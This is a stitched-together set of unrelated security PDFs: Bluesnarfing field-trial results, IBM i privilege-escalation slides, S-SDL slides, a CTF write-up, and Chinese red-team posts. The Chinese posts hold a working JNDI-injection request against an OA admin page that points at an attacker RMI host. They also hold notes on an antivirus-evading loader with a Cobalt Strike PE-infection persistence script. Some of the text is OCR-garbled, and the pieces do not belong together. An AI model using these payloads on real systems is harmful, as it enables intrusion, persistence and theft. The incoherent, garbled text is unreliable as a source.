ssh-jack pid – Injects output of mafl-load into my remote shell, and runs it. Ahh, the Joy of Unix. ● You can almost forget that you're doing it Improvements, Future Direction ● Runtime assembler with Mosdef or similar ● Pure python debugger, remove GDB dependency ● Do it to MSRDP, or Citrix ICA ● All manner of domain-specific sneakiness; a programmatic debugging toolkit is a useful thing to have in your box of tricks Is this Theo de Raadt's Fault? ● Hell no, it's a feature! ● SSH Protocol spec says multiple shells are fine ● Server-to-client shells would be... ● ... except they took care of that ● and unsolicited server-to-client port-forwarding ● Other SSH client/server implementations might be different. ● And anyway, OpenSSH is cool. Props to them. Mitigation Technique ● Uhh, don't get rooted ● Patch kernel to restrict ptrace() to root ● Ensure that any SSH trusts you do have are restrictive – command=”stuff”,no-port-forwarding,permit- open=”host:port” ● Give debuggers the whole Steve Gibson Raw- Sockets-Are-Evil treatment! Why You Should(n't) Care ● Nothing you didn't - even if you repressed it - already know ● If you get rooted, you're screwed. But you knew that. ● Rich desktops make attacking admins to get to servers a good route ● This technique is useful against any client, but protocols with VC arch are the best – MSRDP, Citrix ICA... Hackers Made Me Do It ● Ruxcon (Sydney) 2k3 and 4 inspiration – Grugq: antiforensic shaolin master – Shaun Clowes: the holy-crap-wtf-insane Shiva ELF encryptor – Silvio Cesare: linux vx godfather ● Mad greetz to: – NZISIG, NZ2600, SLi, and the rest of what passes for a Scene in NZ. – Gnuspice for giving me a copy of Cheswick and Bellovin many years ago. Q&A ● Shred me and my lameitude Spam me ● [email protected]	pdf
Bluesnarﬁng @ CeBIT 2004 Detecting and Attacking bluetooth-enabled Cellphones at the Hannover Fairground Dipl.-Ing.(FH) Martin Herfurt Salzburg Research Forschungsgesellschaft mbH, Austria [email protected] March 30, 2004 Abstract A big shock went through the community when it became public, that some bluetooth-enabled handsets are disclosing personal information. The informa- tion posted on [1] introduces three basic ways to attack bluetooth-enabled de- vices. This report brieﬂy describes the SNARF exploit for the recently discov- ered bluetooth security loophole that is not requiring any kind of preparation or prior manipulation of the devices. 1 Introduction SNARF and bluesnarﬁng are words that have been spooking through the Internet during the last months. These words relate to a recently discovered security ﬂaw in bluetooth-enabled devices. This report is about a ﬁeld-trial that has evaluated this security loophole at the CeBIT 2004 in Hannover. 1.1 Bluetooth Security Issues End of November 2003 Adam and Ben Laurie (A.L. Digital Ltd.) published a doc- ument [1] on the Internet stating that some bluetooth-enabled phones are having serious security ﬂaws. These ﬂaws allow attackers to connect to the device without permission (no pairing) and carry out a so-called SNARF attack. In the beginning of February 2004, the fact that some bluetooth-enabled handsets are having security issues made it into many news-tickers around the globe. Most of the news-sites pretended that exploit-tools were available in the Internet. But even extensive research in the Internet did not bring up the location where these 1 tools were available. As described in [1], the SNARF attack enables access to restricted portions of the device. SNARF is a word coming from computer-hacker jargon. To snarf something means “to grab a large document or ﬁle and use it without the author’s permission”[2]. So it is possible to, for example read out the affected devices’ phone books. These phone books contain numbers and associated names of persons that are either stored in the device phone-book, on the SIM card or in the lists of missed, received or di- aled contacts. It is also possible to retrieve and send SMS messages from the affected phone or to initiate phone calls to any existing number (this feature is of special in- terest if you are the running a premium service number yourself ;-). In theory, all supported AT-commands could be issued to the respective device, but according to statements of the manufacturers some of the commands are not per- mitted by means of this disallowed connection. But there would be no reason of preventing commands from a connection that the ﬁrmware discloses by accident. 1.2 CeBIT 2004 The CeBIT is one of the events, where people go that are into computers and new technologies. Compared to other groups this group of people tends to use their de- vices differently. It is more likely that these people are active bluetooth users. So at the CeBIT fairground optimal preconditions for the evaluation of these devices’ security are given. The CeBIT is Europe’s biggest IT-exposition and takes place every year at the Han- nover fairground in the north of Germany. As in the years 2002 and 2003, Salzburg Research together with the Salzburg University of Applied Sciences and Technolo- gies had a booth at the CeBIT 2004 located in Hall 11. There, in the so-called future park, all research and education companies and institutes are located. Favorably, the Salzburg Research booth was located close to the public restrooms, where more people tend to pass by than at other places in this hall. At this location, an envi- ronment for the discovery and the attacking of bluetooth-enabled devices was set up. 2 The Bluesnarf Field Trial The environment was build up by open-source software ran on a laptop computer. 2.1 The Environment Setup The hardware used for this trial was a COMPAQ Evo N600c with two low-cost MSI bluetooth USB-dongles. The software used with this hardware was linux-2.6.2 2 together with Qualcomm’s bluetooth stack implementation Bluez (bluez-libs-2- .5,bluez-utils-2.4 and bluez-sdp-1.5). The actual application was imple- mented in PERL and C. For better data-mining capabilities, an enterprise-level SQL- DBMS (postgresql-7.4.1) has been used in order to store and access the col- lected device-information. 2.2 Collected Data Samples and Results In total, 1269 different devices have been discovered in the period from March 18th to 21st March 2004 at the place described above. Due to the limited range of about ten meters, not all of the bluetooth-enabled devices at this place could have been detected. But still, the number of discovered devices is very high. 2.2.1 Discovered Device Vendors Figure 1 shows a diagram that represents the distribution of manufacturers. The determination of the vendor is done by means of the bluetooth address. Similar to the hardware-address (MAC address) of Ethernet network interface cards, also the bluetooth address refers to the manufacturer of the bluetooth chip-set. Table 1 shows the vendor and the three ﬁrst bytes of the bluetooth addresses that are asso- ciated with the respective vendor. Also a value expressing the distribution among the vendors is provided in this table. The 70 percent of discovered Nokia handsets clearly represent Nokia’s market- Nokia SonyEricsson Siemens Unrecognized Other Figure 1: Device Vendor Distribution leadership in Europe. Interestingly, many companies use the Nokia 6310i as a com- pany phone. One possible reason for this could be the compatibility to the Nokia car-kits that have been installed over years in many company cars. 3 Vendor Address-Bytes Percentage Nokia 00:02:EE , 00:60:57 , 00:E0:03 70 SonyEricsson 00:0A:D9 11.35 Siemens 00:01:E3 8.2 Unknown miscellaneous 8.1 Other miscellaneous 2.1 Table 1: Device Vendors 2.2.2 Discovered Models It cannot be determined from the device’s bluetooth address which model of the respective vendor this is. Therefore, the bluetooth name that on many devices de- faults to the model number has been used to identify the model of the discovered device. The bluetooth name of the devices can be set by the user and is therefore not itself a reliable information to determine the model number. It is worth mentioning that many people use their full name as an identiﬁcation for their device. The tables 2, 3 and 4 show the numbers of models that could have been uniquely determined by their names. So, this graph is not totally correct, but gives a coarse idea on the vendor/model distribution. The graph displayed in ﬁgure 2 supports the assumption that has been made before, that obviously many companies are using the Nokia 6310i phone for their employ- ees. The high popularity of the T610 phone is reﬂected by the diagram presented in Unrecognized 6310/6310i 6600 3650 7650 Figure 2: Nokia Model Distribution ﬁgure 3. Also the current top-of-the-line model (the P900) has been discovered com- parably often. 4 Device Number Percentage Unrecognized 669 75.1 Nokia 6310/6310i 135 15.2 Nokia 6600 48 5.4 Nokia 3650 28 3.1 Nokia 7650 11 1.2 Table 2: Recognized Nokia Models Characteristic for the German/European market was the relatively high presence Unrecognized T610 P900 P800 Figure 3: SonyEricsson Model Distribution Device Number Percentage Unrecognized 106 72.1 SonyEricsson T610 33 22.5 SonyEricsson P900 7 4.8 SonyEricsson P800 1 0.6 Table 3: Recognized SonyEricsson Models of Siemens phones. At the moment, only the phones belonging to the 55 series and the new SX1 are supporting bluetooth. 5 Unrecognized S55/SL55 SX1 Figure 4: Siemens Model Distribution Device Number Percentage Unrecognized 69 66.3 Siemens S55/SL55 30 28.9 Siemens SX1 5 4.8 Table 4: Recognized Siemens Models 2.2.3 Discovered Vulnerable Devices As written in [1], there are a number of devices that are vulnerable to the SNARF at- tack. According to this document there is the Ericsson phone T68/T68i, the SonyEr- icsson phones R520m, T610 and Z1010 and the Nokia phones 6310/6310i, 8910/8910i and 7650. Adam Laurie also provides information, whether the respective devices are attackable in invisible or visible mode, only. Since the setup used for this ﬁeld trial did not use a brute-force approach (as presented by @stake) for detecting also invisible devices, this study only conﬁrms the vulnerability of visible devices. Due to limited market take-up and the resulting low penetration-rate of some devices, the vulnerability of some of the listed devices cannot be conﬁrmed by this study. As displayed in ﬁgures 2 and 3, the two top-selling bluetooth-enabled models of SonyEricsson and Nokia are vulnerable to the SNARF attack. Experiments with the SonyEricsson T610 showed that this model is generally not vulnerable to the SNARF attack. During an earlier presentation of the SNARF at- tack in February it happened that T610 phones with recent versions of the T610 ﬁrmware were disclosing personal information. Obviously, newer versions of the T610 ﬁrmware do allow SNARF attacks. 6 Nokia 6310/6310i As mentioned above, this study conﬁrms that the Nokia 6310 and the more enhanced Nokia 6310i are very vulnerable to the SNARF attack. About 33 percent of all discovered devices of this type were disclosing personal phone book entries without requiring user-interaction. Since the snarf-process takes an average time of 30 seconds (from the discovery to the end of the attack), it is very likely that a lot more devices could have been read out. Too many people were just passing the location so that they left the bluetooth-covered area too early to be snarfed. Figure 5 Total Snarfed 0 200 Nokia 6310/6310i 135 44 Figure 5: Snarfed Nokia Phones displays the ratio of discovered and provenly vulnerable Nokia 6310/6310i devices. But as mentioned above, this could have been more. SonyEricsson T610 Figure 6 shows the ratio of discovered and successfully at- tacked SonyEricsson T610 devices. As mentioned before, in future when the newer ﬁrmware is running on an increased number of T610-devices the success rate of the SNARF attack will also increase. In the CeBIT 2004 ﬁeld trail only 6 percent of all discovered T610 devices could be read out. Siemens phones As far as it has been observed in the CeBIT ﬁeld trial, Siemens phones are not vulnerable to the SNARF attack. Bluetooth-enabled Siemens phones like the S55 merely seem to be rather paranoid. Every time a usual scan-request is received by these phones they cowardly ask for the user’s conﬁrmation. Actually, this behavior is quite annoying. 2.3 Other Experiences In preparation for the trial-setup, the Ericsson T68i (which is also on the list of vul- nerable devices) has been checked. It can be conﬁrmed, that this phone is vulnerable 7 Total Snarfed 0 50 SonyEricsson T610 33 2 Figure 6: Snarfed SonyEricsson Phones to the SNARF attack but switches into the hidden mode automatically (three min- utes after activation of the bluetooth interface). In hidden mode this phone is not vulnerable (as mentioned in [1]). 3 Final Remarks 3.1 Proclaimer The information gathered in this ﬁeld trial will not be disclosed to anybody. Per- sonal information that has been retrieved from vulnerable phones has been deleted. This study has been made for scientiﬁc demonstration purposes, only. 3.2 What has been done The SNARF attack used at the CeBIT was intended to ﬁnish as fast as possible. That is why only the ﬁrst 10 entries of each phone book were read out. About 50 numbers from each snarfed phone have been retrieved. 3.3 What could have been done As mentioned in the introduction there could have been done a variety of differ- ent things with an unauthorized bluetooth connection to the phone. The following paragraphs give some ideas on the things this security ﬂaw would also allow the attacker to do. 8 3.3.1 Sending a SMS The only good way to get to know the number of the snarfed phone is to send an SMS from the attacked phone to another device. Depending on the manufac- turer of the phone, SMS messages can either be provided in 7bit encoded ASCII-text and/or have to be provided as a SMS-PDU which is rather tricky to generate. For the creation of SMS-PDUs there is a tool called PDUSpy in the download section of http://www.nobbi.com/. Nokia phones allow to issue text-mode and PDU-mode messages to the device, while SonyEricsson phones (and also Siemens phones) only accept PDU-encoded SMS messages. The sending of an SMS is not visible to the user. Usually, the is- sued SMS is not stored in the sent-box of the snarfed phone. In rare cases, the SMS settings of the snarfed phone are set to require a report that is generated at the re- ceiving phone. In this case the sender that was not aware of having sent a message would receive a reception-report from the attacker’s phone (which includes a phone number). By sending PDU encoded messages, it can be controlled by setting a ﬂag whether a reception report is generated or not. This method to get the victim’s phone number is causing costs to the holder of the phone. That is why it has not been done in the CeBIT ﬁeld-trial. But it works for sure (at least on Nokia devices). It would also be possible to get the device’s phone number by initiating a phone call to the number of a phone that is able to display the caller’s number. However, this method would disclose the number of the dialed phone to the owner of the attacked phone, because every call initiation is writing an entry into the dialed contacts list (DC phone book). 3.3.2 Initiating a Phone Call It is possible to initiate phone calls to virtually any other number. It would be very lucrative to initiate calls to a premium service number that is ran by the attacker. As mentioned before, dialed numbers are usually stored in the phone’s calling lists and are also stored at the provider-site for billing purposes. Therefore, this kind of abuse is rather unlikely. It would also be very very easy to ﬁnd out and sue the person being responsible for this premium service. 3.3.3 Writing a Phone Book Entry As mentioned before, every phone call is writing an entry into the “dialed contacts” or DC phone book of the respective device. By writing a phone book entry into the DC phone book, the traces on the device that evidence that a call has been made can be replaced by any number. Since the operator also stores dialed numbers for billing purposes, this kind of obfuscation would only delay the process of ﬁnding 9 the responsible person. Of course it is also possible to do some nasty phone book entries. Just imagine an entry that has ’Darling’ as a name and the number of a person you dislike. This owner of the phone could then get into some trouble with his/her spouse ;) In the CeBIT-trial no phone book entries have been done. Such entries would most likely overwrite existing ones. 3.4 Vendor Reaction On news pages it has been stated that the respective vendors are admitting this se- curity loophole. It has also been implied that there are no intentions to do anything against it, since it does not seriously damage the phone. Asking representatives from the respective vendors at the CeBIT, I have been told that these problems have been solved in actual ﬁrmware-versions that can be up- graded for free. Whether this security ﬂaw has been ﬁxed in newer ﬁrmware ver- sions cannot be conﬁrmed. 4 Conclusions It would be paranoid to imply, that it is no random incident but purposeful that the best-selling bluetooth phones of the market leaders SonyEricsson and Nokia can be easily be read out by attackers. This test report is intended to point out this serious security ﬂaw to bluetooth-users in order to make them act more careful in this point. An @stake report [3] introduces some more things to consider with respect to blue- tooth devices. For example, this report points out effective measures to protect de- vices from various attacks. Furthermore, the comparable harmless Bluejacking is another bluetooth activity that helps getting over boring times in airport terminals or other public places with a high bluetooth-device density. 5 Future Work Ongoing experiments include a SNARF application on Java/J2ME phones. As a requirement for this, the respective phones would have to have the MIDP 2.0 API implemented together with the optionally provided Bluetooth-API. The only phone that has these features at the moment is the Nokia 6600. 10 6 Acknowledgments I thank Matthias Zeitler and Peter Haber for drawing my attention to this topic, Collin R. Mulliner for providing useful information, Elﬁ Redtenbacher for lending me her vulnerable bluetooth enabled phone and Paul Malone and Guntram Geser for reading and correcting this report. 11 References [1] Ben Laurie Adam Laurie. Serious ﬂaws in bluetooth security lead to disclosure of personal data. Technical report, A.L. Digital Ltd., http://bluestumbler.org/, January 2004. [2] Webopedia. What is snarf? - a word deﬁnition from the we- bopedia computer dictionary. Technical report, Webopedia, http://www.webopedia.com/TERM/S/snarf.html, January 2003. [3] Ollie Whitehouse. War nibbling: Bluetooth insecurity. Research report, @stake, Inc., October 2003. 12	pdf
蓝某OA后台JNDI命令执⾏前段时间发了⼀套组合利⽤到xmldecoder反序列化的，但是后⾯拿到源码看了下，前台和后台的管理员账户不是⼀个密码。可能只是运⽓好，前后台⽤了同⼀个密码。之前就有说过后台有JNDI，且提供测试链接。⽆需保存操作。 OA使⽤的是⾃带的jdk1.7. 可以直接使⽤⽹上的Payload进⾏jndi注⼊。 EXP⼯具:https://github.com/welk1n/JNDI-Injection-Exploit 使⽤1.7地址然后直接点击测试链接就可以: POC： POST /admin.do HTTP/1.1 Host: adderss Connection: close Connection: close Content-Length: 61 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: LtpaToken=; JSESSIONID=9A9692B5AC5ABEB779C4F77244E73362 method=testDbConn&datasource=rmi://ip:port/sxoevq	pdf
花了⼀天时间学习WPF图形化开发,C#的图形化我没学过.原始Form实在是丑. 最后完成如下. 加密⽤的RSA. 沙盒判断也很简单,星球⾥⾯发了很多次了.(原来那个) 物理机测试免杀360(主机到了,快乐) 然后想起来看到了⼀个pe感染权限维持的项⽬,趁着⼼情好复现⼀下. 我加到了⾃⼰改的Kit⾥⾯前⾔⼝流沙免杀加载器 RedTeamWing 加密⽅式加载⽅式图标临时⽂件语⾔ CPU 沙盒烧过 Sleep Disk UAC Mac 进程注⼊ explore.exe 后续 msinLasm-Peiniect-dii peinject.cpp Welcome main.cpp EXPLORER main.asm peinject.cna shellexecute OPENEDITORS main.asm PEINJECTDLL push push.o 这⾥要修改偏移 81 pushoffsetpath cs-peinject nO 这⾥要修改偏移 82 pushoffsetmethod 中 images push peiniect calL.dwordptrss:[esp+18h] Peinjectdil addesp,38h main.cpp 填⼊旧的⼊⼝点 86 jimpmain Peinjecuall.vcxproj methoddb'"open". Peinjectdll.vcxprojfilters pathdb"c:usersisunmnDesKOpITTHexEdi.xe" shellcode调试 89 nop shellexecute 90 nop nop mantasm nop shellexecutevcxproj 93 mainendp shellexecuteycxproj.filters 94 endmain gitattributes 95 gitignore Peinjcctdll.sln README.md TIMELINE Ln95.Col1 master 要注意⼏个问题. RIkYIewAttacksReportingHelp 0图三⽇ internal 11stener external 1as pid computer rch process 192.168.123.77 2h DESKTOP-9IPJBEB 192.168.123.77 http-1ocal 7256 192.168.123.77 192.168.123.77 DESKTOP-9IPJBEE http-1ocal 18784 ArRexe DESKTOP-9IPJBEG 192:16⽇123.77 http-1ocal 192.16⽇.123.77 18588 Interact DECVTOAATAIREA 192.168.123.77 192.168.123.77 64 37872 http-1ocal In1T101ACCEBS Wingkit 53046 192.168.123.77 192.1686.123.77 arRe 11m Access ⾃启动 PE成染史克染的⽂件路径 Explore 注在表 Peinject Pivoting 张向移动不捉仅 Spawn riviiege Hisc Session redentinl Set/updateDefaults beacon192.168123.7年18588 BEacSHarpTaskT1853 EventLog FILe192168.14 Scripts ScriptConso1e thePpl PTaskcdBcacontofindswchostoxningusAandmalkeittho [waskedbeacontobecomentaractlve [阳Inncttoflapath:PmgrmFles(Stem. Taskedbeacontohject/ser/ying/Redtemw/mktncu Waitingafewseccndsforpeinjectconplete... ⽔perstensepenjectccmelete Thostcallodhcme,sant76271bytos FutLrpoSTCbEWbESPAYncDtHFakOPPIDOT NTALTHORISYSTEM SchoteNc2o9 Taskedbercontospoof960amoontmocos Tt@becontomtucheh hostcalledhame,sent12 ppd960kinadiftarentdesktos(pdm hastcalledhcme,sent260624bytes 特别是script_recource不能错. 然后设置好路径我是⽤的steam.直接执⾏,steam打开就会上线. item"Peinject" local('shrfilehafilehfilesbid$) foreach$bid($1) blog($bid,Einjcttofileth:$filepath" $hrfile ppenf(eliwin_cs4third-partyPeinjectinjc bin"); $buf:readb(shrfile,-):closef(hfile); $hafilecopen (">>E:WWIn_C54l1thirdpartyPeinjectpeinjc. writeb(shafile,$filepath):close(hfie) $curr_pidbeaconinfo(bid,"i) bshinject(bid,i, peinject. script_resource bin")); "waitingafewsecondsforpeinjectcomplee." blog($bid, bpause($bid,1000); cS4\\thirdpartyiPeinjectipeinjc $hfile opentCE:IWi bin"); $buf):closef(shfile); writeb(shfile, blog(sbid, "persistence-peinjectcomplete"); shellcode被查到了,但是没关系,⾃⼰改下就免杀了. 我的加载器也不是很好,但是先留着⽤⼀阵⼦,这不HW快开始了.233333 商店最强⾼达之战泌战2休闲玩单机⼤型⽹游误报反馈⼤脑提翻态发现⽊⻢,建议⽴即清除⽊⻢⽂件: C:ProgramFiles(x86Steamlsteamexe ⽊⻢名称:HEUR/QVM19.1.941C.MalwareGe 有⽊⻢试图攻击您的电脑,360已成功栏截. I 极智守护添加信任⽴即清除并全⾯扫描源⾃360安全⼤脑 "本地磁盘(D: Unix(L ⽉	pdf
S-SDL企业应用实践关于漏洞、风险、成本 1. 为什么软件总会有漏洞？漏洞是怎么引入的？ ◦ 业务需求引入 ◦ 产品设计引入 ◦ 编码引入 2. 如何应对风险 ◦ 缓解风险 ◦ 转移风险 ◦ 接受风险 3. 安全成本 ◦ 对于企业来说，安全投入多少是合适的？什么是S-SDL 不是一种安全技术，而是E2E的安全工程能力也是一种Security Built In的解决方案目标：交付更安全的系统 S-SDL架构安全策略／安全治理组织架构培训体系研发流程度量体系工具平台安全标准、规范、过程、知识库人工具方法质量管理安全是质量属性的一部分，将安全融入到质量管理是构建S-SDL的基本条件软件安全研发流程设计安全需求安全设计安全开发安全测试发布及漏洞管理持续改进安全融入开发流程建立安全需求 1. 分析业务需求对安全的影响 2.来自客户的显性安全需求 3.安全需求基线 3.合规、认证需求安全需求设计目标质量门槛安全设计—Security by Design 1.攻击面分析 ◦ 攻击面最小化 2. 威胁建模 ◦ STRIDE威胁建模 ◦ 攻击树威胁建模安全规范威胁库方案库安全设计原则说明开放设计安全不依赖于设计的秘密失败安全基于允许的访问决策权限分离一种保护机制需要两把钥匙来解锁最小授权根据业务需求最授权经济适用越复杂的东西越容易出漏洞最小公共化尽量减多用户间公用的且被所有用户依赖的机制完全仲裁每一次访问都应该进行权限检查心理可承受安全机制的设计要易于使用不轻信默认不可信保护薄弱环节攻击往往在薄弱点发生纵深防御不依赖单一的安全机制代码安全 1. 安全编码规范 2. 代码扫描及告警清理 3. 代码Review 安全函数库扫描规划定制化告警清理指导代码 Review指导安全测试 1.基于威胁建模的测试 2.Fuzzing 3.己知漏洞扫描 4. 测试问题跟踪发布及漏洞管理 1. 安全生态建设—漏洞收集 2. 漏洞分析，排查，预警 3. 根因分析	pdf
Hack the legacy! IBM i (aka AS/400) revealed. Bart Kulach System . . . . . : DEFCON23 Subsystem . . . . : QTRACK4 Display . . . . . : QPADEV0001 MA█ a MV 08/007 Agenda Let’s get introduced Why should we care about legacy? Evil Java? Privilege escalation – let’s jump! Password security and hash grabbing Summary + Q&A MA█ a MV 23/001 Let’s get introduced I’m googleable. https://nl.linkedin.com/in/bartkulach Disclaimer: Any views or opinions presented here are solely those of the author and do not necessarily represent those of his employer(s). MA█ a MV 23/002 KEEP CALM and PWRDWNSYS IMMED Why should we care about legacy? MA█ a MV 23/003 Why should we care about legacy? It’s legacy… but hard to get rid of. It’s processing most interesting data. It’s usually less secure than front-ends. It’s often more vulnerable than you think. It’s still quite accessible to potential intruders. It’s existing everywhere - in all economic sectors. It’s already been exploited (“Hacking iSeries” by S.Carmel)! MA█ a MV 23/004 Evil Java? MA█ a MV 23/005 Evil Java? IBM Toolbox for Java/JTOpen Allows for remote system API calls and usage of built-in system commands (“Limited capability” not effective here) Gives the flexibility of coding “outside” the AS/400 box (no need for extra authorities on the system) Is generally poorly written (decompile and check yourself!) Handling of authorisations by Java VM on server side is inconsistent (object authority vs. data authority), allowing for greater visibility MA█ a MV 23/006 Demo time: Evil Java – visibility example MA█ a MV 23/007 Privilege escalation – let’s jump! MA█ a MV 23/008 Privilege escalation – let’s jump Part 1 – remote profile switching Do you use group profiles? Like one common group profile? Are your admins also members of the group? Are your object and data authorities hardened? Do you monitor profile handle swapping? Let’s jump remotely: check the list of profiles you have access to grab a profile handle switch to the profile repeat until you’re happy with your access level MA█ a MV 23/009 Demo time: Remote profile switching MA█ a MV 23/010 Privilege escalation – let’s jump Part 2 – nested command use Exit points/programs generally allow to protect the system quite easily from usage of specific SQL queries or system commands Most commercial protection software that use exit programs have their weaknesses/vulnerabilities. They can be however often be circumvented by using nested commands (commands running commands) Especially if you cross the environments (CL–PASE–DB2)… And if we add JDBC to that… like CALL QSYS.QCMDEXC('QSH CMD(''DB2 "select from library.file" \| Rfile -w /QSYS.LIB/QSYSPRT.FILE'')', 0000000077.00000 MA█ a MV 23/011 Demo time: Nested command use MA█ a MV 23/012 Password security and hash grabbing MA█ a MV Password security and hash grabbing IBM offers you a nice API (QSYRUPWD) to grab the hashes. QSYRUPWD allows for getting an extract of all hashes for a particular user. The output format is proprietary and was never published until today Is your QPWDLVL system value 0, 1 or 2? If so, you can enjoy the LM hashes for QPWDLVL=2, QPWDMAXLEN must be <=14 You have to be SECADM (and ideally ALLOBJ) though (so go back and escalate your privileges first). MA█ a MV 23/014 Password security and hash grabbing – cont’d. MA█ a MV 23/015 Password security and hash grabbing – cont’d. MA█ a MV 23/016 Offset (Dec) Length (Chars) Field QPWDLVL 0 16 DES 56-bit encrypted password substitute (RFC2877) 0, 1, 2* 16 16 DES 56-bit encrypted password substitute (RFC2877) 0, 1, 2* 32 32 LM hash 0, 1, 2* 64 4 No data - 68 40 HMAC-SHA1 encrypted password token (RFC4777)? 0, 1, 2, 3 108 40 HMAC-SHA1 encrypted password token (RFC4777)? 0, 1, 2, 3 148 6 No data - 154 384 Unknown (hash?) data 0, 1, 2, 3 QSYRUPWD Encrypted password data hex string depending on password rules; *from V5R1 onwards Demo time: Password grabbing MA█ a MV 23/017 Summary + Q&A Java is the evil for AS/400. Be sceptic about IBM Security books. Visit www.hackthelegacy.org MA█ a MV 23/018 @bartholozz www.hackthelegacy.org MA█ a MV 23/019	pdf
⻄湖论剑 WriteUp By Nu1L ⻄湖论剑 WriteUp By Nu1L Reverse ROR TacticalArmed Web EZupload OA?RCE? 灏妹的web EasyTp Pwn Blind string_go easykernel Misc 签到 Crypto unknown_dsa FilterRandom SpecialCurve2 hardrsa 密码⼈集合 Reverse ROR from z3 import * des = [ 0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB, 0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39, 0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x8C, 0x39, 0xFB, 0x99, 0x65, 0x48, 0x6A, 0xCA, 0x63, 0xE7, 0xA4, 0x79] s_box = [ 0x65, 0x08, 0xF7, 0x12, 0xBC, 0xC3, 0xCF, 0xB8, 0x83, 0x7B, 0x02, 0xD5, 0x34, 0xBD, 0x9F, 0x33, 0x77, 0x76, 0xD4, 0xD7, 0xEB, 0x90, 0x89, 0x5E, 0x54, 0x01, 0x7D, 0xF4, 0x11, 0xFF, 0x99, 0x49, 0xAD, 0x57, 0x46, 0x67, 0x2A, 0x9D, 0x7F, 0xD2, 0xE1, 0x21, 0x8B, 0x1D, 0x5A, 0x91, 0x38, 0x94, 0xF9, 0x0C, 0x00, 0xCA, 0xE8, 0xCB, 0x5F, 0x19, 0xF6, 0xF0, 0x3C, 0xDE, 0xDA, 0xEA, 0x9C, 0x14, 0x75, 0xA4, 0x0D, 0x25, 0x58, 0xFC, 0x44, 0x86, 0x05, 0x6B, 0x43, 0x9A, 0x6D, 0xD1, 0x63, 0x98, 0x68, 0x2D, 0x52, 0x3D, 0xDD, 0x88, 0xD6, 0xD0, 0xA2, 0xED, 0xA5, 0x3B, 0x45, 0x3E, 0xF2, 0x22, 0x06, 0xF3, 0x1A, 0xA8, 0x09, 0xDC, 0x7C, 0x4B, 0x5C, 0x1E, 0xA1, 0xB0, 0x71, 0x04, 0xE2, 0x9B, 0xB7, 0x10, 0x4E, 0x16, 0x23, 0x82, 0x56, 0xD8, 0x61, 0xB4, 0x24, 0x7E, 0x87, 0xF8, 0x0A, 0x13, 0xE3, 0xE4, 0xE6, 0x1C, 0x35, 0x2C, 0xB1, 0xEC, 0x93, 0x66, 0x03, 0xA9, 0x95, 0xBB, 0xD3, 0x51, 0x39, 0xE7, 0xC9, 0xCE, 0x29, 0x72, 0x47, 0x6C, 0x70, 0x15, 0xDF, 0xD9, 0x17, 0x74, 0x3F, 0x62, 0xCD, 0x41, 0x07, 0x73, 0x53, 0x85, 0x31, 0x8A, 0x30, 0xAA, 0xAC, 0x2E, 0xA3, 0x50, 0x7A, 0xB5, 0x8E, 0x69, 0x1F, 0x6A, 0x97, 0x55, 0x3A, 0xB2, 0x59, 0xAB, 0xE0, 0x28, 0xC0, 0xB3, 0xBE, 0xCC, 0xC6, 0x2B, 0x5B, 0x92, 0xEE, 0x60, 0x20, 0x84, 0x4D, 0x0F, 0x26, 0x4A, 0x48, 0x0B, 0x36, 0x80, 0x5D, 0x6F, 0x4C, 0xB9, 0x81, 0x96, 0x32, 0xFD, 0x40, 0x8D, 0x27, 0xC1, 0x78, 0x4F, 0x79, 0xC8, 0x0E, 0x8C, 0xE5, 0x9E, 0xAE, 0xBF, 0xEF, 0x42, 0xC5, 0xAF, 0xA0, 0xC2, 0xFA, 0xC7, 0xB6, 0xDB, 0x18, 0xC4, 0xA6, 0xFE, 0xE9, 0xF5, 0x6E, 0x64, 0x2F, 0xF1, 0x1B, 0xFB, 0xBA, 0xA7, 0x37, 0x8F] de1 = [] for i in des: de1.append(s_box.index(i)) flags = [] for i in range(40): flags.append(BitVec(f'flag{i}',8)) so = Solver() v6 = [0] * 8 v6[0] = 128 v6[1] = 64 v6[2] = 32 v6[3] = 16 v6[4] = 8 v6[5] = 4 v6[6] = 2 v6[7] = 1 for i in range(0,40,8): for j in range(8): v5 = ((v6[j] & flags[i + 3]) << (8 - (3 - j) % 8)) \| ((v6[j] & flags[i + 3]) >> ((3 - j) % 8)) \| ((v6[j] & flags[i + 2]) << (8 - (2 - j) % 8)) \| ((v6[j] & flags[i + 2]) >> ((2 - j) % 8)) \| ((v6[j] & flags[i + 1]) << (8 - (1 - j) % 8)) \| ((v6[j] & flags[i + 1]) >> ((1 - j) % 8)) \| ((v6[j] & flags[i]) << (8 - -j % 8)) \| ((v6[j] & flags[i]) >> (-j % 8)) tmp = (((v6[j] & flags[i + 7]) << (8 - (7 - j) % 8)) \| ((v6[j] & flags[i + 7]) >> ((7 - j) % 8)) \| ((v6[j] & flags[i + 6]) << (8 - (6 - j) % 8)) \| ((v6[j] & flags[i + 6]) >> ((6 - j) % 8)) \| ((v6[j] & flags[i + 5]) << (8 - (5 - j) % 8)) \| ((v6[j] & flags[i + 5]) >> ((5 - j) % 8)) \| ((v6[j] & flags[i + 4]) << (8 - (4 - j) % 8)) \| ((v6[j] & flags[i + 4]) >> ((4 - j) % 8)) \| v5) so.add(tmp == de1[i+j]) print(so.check()) m = so.model() print(''.join(chr(m[i].as_long()) for i in flags)) TacticalArmed 恢复指令：发现是个tea，动态调试获取key，写出逆即可 import ida_bytes import struct des = 0x8000000 ins_addr = 0x405010 sizes_addr = 0x405220 def get_patch_addr(a2,a3): t = ida_bytes.get_dword(0x4052A8 + a2 * 4) v5 = t % 0x10 v4 = t >> 4 if v4 == 1: return 4 * (v5 + 2 * a3) + 0x405648 if v4 == 2: return 4 * v5 + 0x405000 if v4 == 3: return 0x405748 def patch_addr(ori,addr): if addr is None:return ori for i in range(len(ori)): if ori[i] == 0: return ori[:i] + struct.pack('I',addr)+ ori[i+4:] return ori size = ida_bytes.get_dword(sizes_addr) v14 = 0 while size != 0: ins 